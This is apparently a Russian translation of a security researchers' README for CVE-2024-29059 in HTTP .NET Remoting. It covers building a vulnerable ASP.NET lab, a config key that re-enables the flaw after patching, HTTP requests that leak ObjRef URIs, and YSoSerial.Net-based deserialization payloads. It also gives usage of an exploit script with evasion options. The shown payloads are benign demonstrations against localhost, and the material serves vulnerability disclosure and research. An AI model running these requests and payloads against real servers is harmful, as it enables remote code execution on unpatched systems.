
Дополнительные ресурсы для утечки и эксплуатации ObjRefs через HTTP .NET Remoting (CVE-2024-29059)
ObjRef через HTTP .NET Remoting (CVE-2024-29059)Этот репозиторий содержит дополнительные подробности и ресурсы к блог-посту CODE WHITE с таким же названием Leaking ObjRefs to Exploit HTTP .NET Remoting:
ObjRefTypeFilterLevel.LowДалее основано на Configure Application Insights for your ASP.NET website от Microsoft и описывает, как создать уязвимое ASP.NET веб-приложение с помощью Visual Studio 2019 (требуется для нацеливания на .NET Framework 4.5.2, его всё ещё можно загрузить по адресу https://aka.ms/vs/16/release/vs_community.exe) и Microsoft Application Insights:
Если установлены обновления .NET Framework за январь 2024 года, откройте файл Web.config и добавьте следующее в раздел /configuration/appSettings, чтобы снова включить уязвимое поведение:
<add key="microsoft:Remoting:LateHttpHeaderParsing" value="true" />
Затем вы можете запустить веб-приложение через Отладка > Запуск без отладки или нажатием Ctrl+F5.
ObjRefВы можете использовать следующие запросы для утечки ObjRef экземпляров MarshalByRefObject, хранящихся в LogicalCallContext:
BinaryServerFormatterSink:
GET /RemoteApplicationMetadata.rem?wsdl HTTP/1.0
__RequestVerb: POST
Content-Type: application/octet-stream
SoapServerFormatterSink:
GET /RemoteApplicationMetadata.rem?wsdl HTTP/1.0
__RequestVerb: POST
Content-Type: text/xml
Утекшие URI ObjRef затем можно сопоставить с помощью следующего регулярного выражения:
/[0-9a-f_]+/[0-9A-Za-z_+]+_\d+\.rem
Мы создали две простые полезные нагрузки для десериализации на основе гаджета TextFormattingRunProperties из YSoSerial.Net с пользовательскими полезными нагрузками XAML, которые работают при ограничениях, вызванных TypeFilterLevel.Low, для выполнения следующего:
HttpContext.Current.Response.AddHeader("Set-Cookie", "x=ad92afb4-00c3-4479-bab8-2425b5716081")HttpContext.Current.Response.RedirectLocation = "/ad92afb4-00c3-4479-bab8-2425b5716081"Заголовки HTTP можно наблюдать в ответе сервера на запрос HTTP .NET Remoting.
Скрипт RemoteApplicationMetadata.py предоставляет способ утечки существующего ObjRef, а затем его использования в последующем запросе для доставки заданной полезной нагрузки:
usage: RemoteApplicationMetadata.py [-h] [-c] [--chunk-range CHUNK_RANGE] [-e] [-f {binary,soap}] [-u] [-v] url [file]
positional arguments:
url target URL (without `RemoteApplicationMetadata.rem`)
file BinaryFormatter/SoapFormatter payload file (default: stdin)
options:
-h, --help show this help message and exit
-c, --chunked use chunked Transfer-Encoding for request
--chunk-range CHUNK_RANGE
range to pick the chunk size from randomly, e. g., 1-10
-e, --encoding apply a random non ASCII-based encoding on SOAP
-f {binary,soap}, --format {binary,soap}
targeted runtime serializer format (default: soap)
-u, --use-generic-uri
use the generic `RemoteApplicationMetadata.rem` also for the payload delivery request
-v, --verbose print verbose info
Пример:
./RemoteApplicationMetadata.py -f binary https://127.0.0.1:44365 AddHeader.bin -u -v